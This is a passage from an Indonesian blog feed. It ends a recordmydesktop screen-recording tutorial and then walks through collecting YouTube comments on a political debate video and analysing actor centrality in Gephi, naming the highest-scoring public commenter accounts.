Sementara itu, kita tidak akan fokus pada window id-nya, kita akan fokus pada ukuran &lt;em&gt;&lt;strong&gt;corners&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;geometry&lt;/strong&gt;&lt;/em&gt; yang saya beri garis warna biru.&lt;/p&gt;&lt;p&gt;Ukuran yang terdapat pada &lt;em&gt;&lt;strong&gt;corners&lt;/strong&gt;&lt;/em&gt; akan kita inputkan pada parameter x &amp;amp; y, sedangkan ukuran pada &lt;em&gt;&lt;strong&gt;geometry&lt;/strong&gt;&lt;/em&gt; akan kita inputkan pada parameter width &amp;amp; height.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;104&quot; src=&quot;/_astro/ss4.Dm4SBD9I_EpJkd.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--x=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--y=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--width=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--height=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya adalah sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;508&quot; src=&quot;/_astro/area.BrLxfHvQ_23pTdz.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Begitulah triknya, hihihi :)&lt;/p&gt;&lt;p&gt;Jadi, di tutorial kali ini, kita sudah belajar cara menggunakan program &lt;strong&gt;recordmydesktop&lt;/strong&gt; untuk melakukan rekaman layar sederhana namun sangat efektif dengan tiga mode,
yaitu mode full layar, sebuah window, dan area tertentu saja…&lt;/p&gt;&lt;p&gt;Semoga bermanfaat ya~&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi!&lt;/p&gt;&lt;p&gt;🤗 😇 ☺️&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Sebagai catatan, kali ini, saya menggunakan &lt;em&gt;workspace&lt;/em&gt; baru, yaitu openSUSE Tumbleweed versi KDE untuk membuat tulisan ini, ternyata lebih stabil dibandingkan dengan KDE Kali Linux 😝
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;563&quot; src=&quot;/_astro/ss5.zOJOU-Gt_basfB.webp&quot; /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://enselic.github.io../images/recordmydesktop/&quot; target=&quot;_blank&quot;&gt;https://enselic.github.io../images/recordmydesktop/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Gephi - Actor(s) Centrality</title><link>https://shangdi.github.io/posts/tech/gephi/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/gephi/</guid><description>Gephi is an open-source software for network visualization and analysis.</description><pubDate>Sat, 06 Jan 2024 07:26:47 GMT</pubDate><content:encoded>&lt;p&gt;Halo!
Kali ini kita akan belajar tentang penggunaan salah satu &lt;em&gt;software&lt;/em&gt; yang biasa digunakan untuk melakukan analisis data pada ilmu-ilmu
sosial, khususnya pada diskusi atau kajian mengenai &lt;em&gt;Social Network Analysis&lt;/em&gt; (SNA). Secara sederhana, SNA adalah sebuah metode untuk mengidentifikasi aktor (&lt;em&gt;node&lt;/em&gt;) dan relasinya (&lt;em&gt;edge&lt;/em&gt;) dalam suatu jaringan.&lt;/p&gt;
&lt;p&gt;Pada topik Gephi kali ini, saya akan menjelaskan analisis terhadap 4 jenis sentralitas aktor&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, yaitu:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Degree Centrality&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Betweeness Centrality&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Closeness Centrality&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Eigenvector Centrality&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Berikut adalah perbedaan singkat mengenai keempat jenis &lt;em&gt;centrality&lt;/em&gt; tersebut.&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;em&gt;Centrality&lt;/em&gt;&lt;/th&gt;&lt;th&gt;Definisi&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;Degree Centrality&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Popularitas suatu aktor atau jumlah relasi dari dan ke aktor lainnya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;Closeness Centrality&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Kedekatan suatu aktor dengan aktor lainnya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;Betweeness Centrality&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Jumlah nilai perantara suatu aktor dalam jaringan&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;Eigenvector Centrality&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Aktor yang memiliki relasi dengan aktor lainnya yang juga penting&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Namun, sebelum itu, kita akan terlebih dahulu belajar &lt;em&gt;crawling&lt;/em&gt; data dari &lt;em&gt;sosial network digital platform&lt;/em&gt; seperti Twitter/X, Youtube, dan Facebook. Namun, karena &lt;em&gt;crawling&lt;/em&gt; data dari Twitter/X berbayar dan Facebook belum pernah saya coba, jadi, kita akan meng-&lt;em&gt;crawl&lt;/em&gt; data dari Youtube saja. Setelah itu, kita juga akan mempelajari langkah-langkah melakukan &lt;em&gt;&lt;strong&gt;import&lt;/strong&gt;&lt;/em&gt; data hasil &lt;em&gt;crawling&lt;/em&gt; tadi ke aplikasi Gephi.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Crawling Data dari Youtube&lt;a href=&quot;#crawling-data-dari-youtube&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Langkah pertama yang perlu kita lakukan ketika akan melakukan &lt;em&gt;crawling&lt;/em&gt; data dari Youtube adalah menentukan satu video yang akan kita analisis dengan Gephi. Karena kita akan menganalisis &lt;em&gt;social networks&lt;/em&gt; dari komen-komen yang terdapat pada satu video Youtube tersebut, maka saya sarankan untuk mencari video dengan komen yang banyak untuk memaksimalkan pemahaman. Dalam hal ini, saya akan mengambil video dari kanal KOMPASTV yang berjudul &lt;strong&gt;Panas! Prabowo Jawab Anies: Anda Tidak Pantas Bicara Etika Karena Tak Beri Contoh Etika&lt;/strong&gt; dengan jumlah komentar sebanyak &lt;strong&gt;16,112&lt;/strong&gt; sebagai berikut:&lt;/p&gt;
&lt;p&gt;Kedua, sebetulnya, terdapat beberapa &lt;em&gt;tools&lt;/em&gt; yang dapat kita gunakan untuk mendapatkan data dari Youtube. Akan tetapi, ada satu website yang sangat memudahkan kita untuk meng-&lt;em&gt;crawl&lt;/em&gt; komentar-komentar Youtube tanpa harus ribet (login, dsb), nama websitenya adalah &lt;strong&gt;&lt;a href=&quot;https://ytdt.digitalmethods.net/mod_video_comments.php&quot; target=&quot;_blank&quot;&gt;Youtube Data Tools&lt;/a&gt;&lt;/strong&gt;. Penampakannya adalah sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;999&quot; height=&quot;768&quot; src=&quot;/_astro/ss1.CtvIoTHA_ddr7q.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Ketiga, agar dapat meng-&lt;em&gt;crawl&lt;/em&gt; 16000-an komentar yang ada pada video tersebut, kita hanya perlu meng-&lt;em&gt;copy&lt;/em&gt;-&lt;em&gt;paste&lt;/em&gt; id video tersebut ke kolom “Video id” di website Youtube Data Tools. Jika kita lihat pada link video tersebut, kita akan tahu bahwa id video tersebut terletak setelah karakter sama dengan (=), yaitu GQX-Sp3hOf0. Setelah di-&lt;em&gt;paste&lt;/em&gt;, memastikan &lt;em&gt;check box&lt;/em&gt; “I’m not robot” diceklis, dan meng-klik tombol “submit”, kita tinggal menunggu proses crawling selesai.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;876&quot; height=&quot;509&quot; src=&quot;/_astro/ss3.BAStVZEy_Z1Qq02f.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Keempat, setelah proses crawling selesai, website tersebut akan memberikan dua pilihan format file yang dapat kita unduh, yaitu file csv dan gdf. Kita akan mengunduh file gdf karena file tersebut yang paling sesuai untuk dibuka di aplikasi gephi.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1098&quot; height=&quot;760&quot; src=&quot;/_astro/ss4.CrR-8cuX_Z2j5aG9.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Import Data ke Gephi&lt;a href=&quot;#import-data-ke-gephi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Untuk meng-&lt;em&gt;import&lt;/em&gt; file gdf tadi ke gephi, kita tinggal pilih menu &lt;strong&gt;File&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Open&lt;/strong&gt;, cari file gdf yang sudah didownload tadi, dan klik “Open”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;219&quot; height=&quot;357&quot; src=&quot;/_astro/ss5.4GIMSAgg_2knSGU.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;377&quot; src=&quot;/_astro/ss6.CgXCZiI3_1NR0Q6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, nanti akan muncul opsi untuk memilih jenis relasi yang akan digunakan. Secara umum, ada dua jenis relasi dalam jaringan, yaitu &lt;em&gt;directed&lt;/em&gt; dan &lt;em&gt;undirected&lt;/em&gt;. Relasi &lt;em&gt;directed&lt;/em&gt; berarti relasi yang memiliki arah hubungan. Artinya, relasi &lt;em&gt;directed&lt;/em&gt; memperhatikan siapa yang berperan sebagai pengirim pesan dan siapa yang berperan sebagai penerima pesan. Sementara itu, relasi &lt;em&gt;undirected&lt;/em&gt; berarti relasi yang tidak berarah. Artinya, baik pengirim pesan dan penerima pesan dianggap setara sehingga relasi ini tidak melihat arah hubungan&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; .&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;236&quot; height=&quot;160&quot; src=&quot;/_astro/ss7.D_0yy6ST_2uE6gG.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dalam tutorial Gephi kali ini, saya akan menggunakan jenis relasi &lt;em&gt;undirected&lt;/em&gt;. Selanjutnya, klik “OK”.&lt;/p&gt;&lt;p&gt;Untuk menghitung nilai sentralitas setiap aktor, Gephi menyediakan fitur otomatis yang tersedia dalam bagian “Statistics”. Untuk membuka sub-window “Statistics” tersebut, klik menu “Window” -&amp;gt; “Statistics”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;253&quot; height=&quot;539&quot; src=&quot;/_astro/ss8.BBHJGCVd_Z7srN0.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian akan muncul jendela “Statistic” yang didalamnya terdapat tombol-tombol untuk menghitung beberapa hal yang dibutuhkan, diantaranya adalah sentralitas para aktor.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Layouting dengan Algoritma Yifan Hu&lt;a href=&quot;#layouting-dengan-algoritma-yifan-hu&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum saya akan lebih jauh menghitung keempat sentralitas aktor tersebut, kita akan buat visualisasi jaringan dengan layout Yifan Hu. Jika window “Layout” belum tampak, kita dapat memanggilnya dari menu “Windows” -&amp;gt; “Layout”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;254&quot; height=&quot;542&quot; src=&quot;/_astro/ss9.CkAaPz-h_25hC9g.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selanjutnya, kita dapat mengaktifkan layout Yifan Hu dengan nilai &lt;em&gt;optimal distance&lt;/em&gt; 60. Kemudian klik “Run”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;268&quot; height=&quot;325&quot; src=&quot;/_astro/ss10.DVxP7fKK_1mVjxR.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Maka, visualisasi jaringan akan tampil dalam bentuk berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;533&quot; height=&quot;457&quot; src=&quot;/_astro/ss11.BnJyk_Kd_1VAaCv.webp&quot; /&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Degree Centrality&lt;a href=&quot;#1-degree-centrality&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengitung &lt;em&gt;degree centrality&lt;/em&gt;, klik pada bagian “Average Degree” pada window “Statistics”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;256&quot; height=&quot;211&quot; src=&quot;/_astro/ss12.Ctkeljk7_2o5cx5.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah perhitungan selesai, akan muncul window HTML Report yang menggambarkan distribusi degree pada jaringan ini.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;688&quot; height=&quot;619&quot; src=&quot;/_astro/ss13.CqyIcq2l_1p1Jbo.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Secara spesifik, kita dapat melihat siapa akun atau aktor yang memiliki nilai degree centrality paling tinggi dengan melihat datanya pada menu “Data Laboratory”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;345&quot; height=&quot;39&quot; src=&quot;/_astro/ss14.Cq5xF2Fb_HQSJh.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah top 5 aktor yang memiliki nilai degree centrality paling tinggi, yaitu aktor dengan username akun Youtube &lt;strong&gt;@sudirmantowsan1743&lt;/strong&gt;, &lt;strong&gt;@TamSar-yj3mn&lt;/strong&gt;, &lt;strong&gt;@user-df4ms3ji2v&lt;/strong&gt;, &lt;strong&gt;@rezaelmaris3822&lt;/strong&gt;, &lt;strong&gt;@Ainal_Yakin&lt;/strong&gt;, dan &lt;strong&gt;@MuhammadIhsan-pd8gp&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;492&quot; height=&quot;501&quot; src=&quot;/_astro/ss15.DeRMECEd_21bgYS.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Yang menarik, kita juga dapat menonjolkan username kelima aktor tersebut pada visualisasi yang sudah dibuat sebelumnya dengan algoritma Yifan Hu. Sebelum itu, kita perlu kembali ke sub-menu “Overview”.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Nodes Size&lt;a href=&quot;#nodes-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk men-setting &lt;em&gt;degree centrality&lt;/em&gt; pada visualisasi tadi, kita dapat membuka window “Appearance” dari menu “Windows”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;213&quot; height=&quot;544&quot; src=&quot;/_astro/ss16.HiEFv6UP_1kVVOQ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita akan pilih icon “Size” untuk “Nodes” dengan opsi “Degree” untuk ditampilkan berdasarkan “Ranking”-nya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;274&quot; height=&quot;278&quot; src=&quot;/_astro/ss17.BuWWIQ8H_1Eyz4Q.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Minimal size di 15 dan maksimal size di 100. Klik “Apply”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;266&quot; height=&quot;59&quot; src=&quot;/_astro/ss18.B0nelqlM_nmuo2.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Nodes Color&lt;a href=&quot;#nodes-color&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikutnya, kita akan beri warna pada kelima aktor tertinggi tersebut. Caranya masih sama, di menu “Nodes”, pilih icon “Color” dan set “Degree” pada bagian “Partition”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;271&quot; height=&quot;256&quot; src=&quot;/_astro/ss19.qV2pSq42_Z1RQYPt.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Pertama, kita akan warnai semua aktor menjadi warna abu-abu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;507&quot; height=&quot;423&quot; src=&quot;/_astro/ss20.D_cbMHEq_o3hAK.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, kita akan pilih lima aktor dengan nilai *degree centrality *paling tinggi dengan warna merah-kuning-hijau-biru-ungu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;270&quot; height=&quot;275&quot; src=&quot;/_astro/ss21.DdOz5P4M_ZrXrWg.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Pada visualisasi, akan tampil kelima node atau aktor tersebut dari urutan warna merah-kuning-hijau-biru-ungu, sementara aktor lainnya akan berwarna abu-abu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;555&quot; height=&quot;512&quot; src=&quot;/_astro/ss22.DmH12AGL_1dvHt2.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Namun, username dari masing-masing aktor tersebut masih belum tampak. Sebelum kita menampilkan label username setiap aktor, kita akan terlebih dahulu men-setting warna labelnya terlebih dahulu. Langkah-langkahnya mirip seperti langkah-langkah men-setting nodes atau aktor tadi.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Label Size&lt;a href=&quot;#label-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pertama, masih di window “Appearance”, kita atur terlebih dahulu size labelnya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;287&quot; height=&quot;276&quot; src=&quot;/_astro/ss23.DZ-V1Z2I_Z1Wl8Ab.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sesuaikan ukuran labelnya di minimal 1 dan maksimal 12.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;264&quot; height=&quot;34&quot; src=&quot;/_astro/ss25.DkmQc2gf_taMiK.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Label Color&lt;a href=&quot;#label-color&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kemudian kita atur warnanya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;274&quot; height=&quot;261&quot; src=&quot;/_astro/ss24.KKbx8Vmv_ZEciwW.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk memunculkan label dari setiap nodes, kita dapat memunculkannya dengan meng-klik icon “T” yang berwarna hitam di bagian bawah.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;578&quot; height=&quot;81&quot; src=&quot;/_astro/ss27.BAyQUGEl_Z1LkQLb.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan kita berhasil membuat visualisasinya lebih spesifik dengan menonjolkan lima aktor yang memiliki nilai &lt;em&gt;degree centrality&lt;/em&gt; paling besar!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;643&quot; height=&quot;508&quot; src=&quot;/_astro/ss26.Bw9Phc41_ZNrJJ3.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Closeness Centrality&lt;a href=&quot;#2-closeness-centrality&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengitung &lt;em&gt;closeness&lt;/em&gt; dan &lt;em&gt;betweeness centrality&lt;/em&gt;, klik pada bagian “Avg. Path Length” pada window “Statistics”. Kemudian akan muncul sebuah window, kita hanya perlu menceklis “Normalize Centralities in [0,1]”. Selanjutnya, klik “OK”. Setelah beberapa detik proses pengukuran, akan tampil window “HTML Report” seperti di &lt;em&gt;degree centrality&lt;/em&gt; tadi, untuk menunjukkan distribusi &lt;em&gt;degree&lt;/em&gt; pada jaringan ini.&lt;/p&gt;&lt;p&gt;Berdasarkan tabel di bawah ini, kita dapat mengetahui bahwa ada lebih dari 20 aktor yang memiliki nilai &lt;em&gt;closeness centrality&lt;/em&gt; sama dengan 1 (nilai maksimal). Sebetulnya, jika lihat data aslinya, ada lebih dari 100 aktor yang memiliki skor &lt;em&gt;closeness centrality&lt;/em&gt; sama dengan 1.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;613&quot; height=&quot;570&quot; src=&quot;/_astro/ss28.DbVUZ8Sx_Z1CjQxE.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikut ini adalah visualisasi dari aktor-aktor top pada &lt;em&gt;closeness centrality&lt;/em&gt; di jaringan ini.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;551&quot; src=&quot;/_astro/ss29.CmBERasb_1lG395.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Betweeness Centrality&lt;a href=&quot;#3-betweeness-centrality&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut ini adalah tabel tabel data aktor-aktor yang memiliki nilai &lt;em&gt;betweeness centrality&lt;/em&gt; tertinggi.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;648&quot; height=&quot;571&quot; src=&quot;/_astro/ss32.BxWkII9e_Z1r3Kar.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikut ini adalah visualisasi dari 5 aktor top &lt;em&gt;betweeness centrality&lt;/em&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Nodes Size&lt;a href=&quot;#nodes-size-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur ukuran nodes untuk &lt;em&gt;betweeness centrality&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;268&quot; height=&quot;279&quot; src=&quot;/_astro/ss30.BCfzLHlv_Z1U7FuI.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;273&quot; height=&quot;65&quot; src=&quot;/_astro/ss31.BqtAy4CL_ZHilFi.webp&quot; /&gt;
Klik “Apply”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Nodes Color&lt;a href=&quot;#nodes-color-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur warna nodes pada &lt;em&gt;betweeness centrality&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;274&quot; height=&quot;260&quot; src=&quot;/_astro/ss33.AKTbss0q_Z2820IU.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Ubah semua node berwarna abu-abu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;338&quot; height=&quot;325&quot; src=&quot;/_astro/ss34.BCHJ0z0u_ZXjhpq.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Warnai top 5 aktor dengan warna berbeda, berurut dari yang terbesar ke terkecil (merah-kuning-hijau-biru-ungu).
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;273&quot; height=&quot;223&quot; src=&quot;/_astro/ss35.sdvKyMBP_Z1TtiBF.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Klik “Apply”. Berikut adalah visualisasi sementaranya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;554&quot; src=&quot;/_astro/ss36.DEHIgSDM_Z1jYe7s.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Label Size&lt;a href=&quot;#label-size-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur ukuran label untuk &lt;em&gt;betweeness centrality&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;274&quot; src=&quot;/_astro/ss37.BpSEDJXL_Z2vR9Q8.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;268&quot; height=&quot;68&quot; src=&quot;/_astro/ss38.lrDYIaN__Z26kL0L.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Label Color&lt;a href=&quot;#label-color-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur warna untuk label aktor pada &lt;em&gt;betweeness centrality&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;276&quot; height=&quot;257&quot; src=&quot;/_astro/ss39.Cxw9Y6FC_ECXcd.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;328&quot; height=&quot;323&quot; src=&quot;/_astro/ss40.CZEzk-Lc_2r0wwf.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Klik “Apply”. Berikut adalah hasil visualisasi dari &lt;em&gt;betweeness centrality&lt;/em&gt;-nya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;439&quot; src=&quot;/_astro/ss41.MaMkNcfw_zkRjP.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Eigenvector Centrality&lt;a href=&quot;#4-eigenvector-centrality&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menghitung &lt;em&gt;eigenvector centrality&lt;/em&gt;, kita hanya perlu klik “Run” pada bagian “Eigenvector Centrality” di sub menu “Node Overview”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;253&quot; height=&quot;381&quot; src=&quot;/_astro/ss42.Cxwu7Xt2_Z94eld.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Nanti akan muncul window seperti di bawah ini, biarkan default, klik “Ok”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;546&quot; height=&quot;342&quot; src=&quot;/_astro/ss43.BUUMNgxQ_2dImBH.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah selesai, kita dapat melihat hasil perhitungannya pada tabel di “Data Laboratory”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;571&quot; src=&quot;/_astro/ss44.BGY0AwpW_Z1IRDST.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berdasarkan tabel tersebut, kita dapat mengetahui bahwa aktor dengan nilai &lt;em&gt;eigenvector centrality&lt;/em&gt; tertinggi adalah aktor dengan nama akun @sudirmantowsan1743 dengan skor 1, kemudian disusul @user-df4ms3ji2v dengan skor 0.96, @TamSar-yj3mn 0.95, @icanaja8192 dengan skor 0.47, dan @sannymph575 dengan skor 0.34.&lt;/p&gt;&lt;p&gt;Sekarang, kita akan mengimplementasikannya dalam format visual.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Nodes Size&lt;a href=&quot;#nodes-size-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur ukuran nodenya dengan setting 15 untuk aktor dengan nilai &lt;em&gt;eigenvector centrality&lt;/em&gt; terkecil dan 100 untuk skor terbesar.
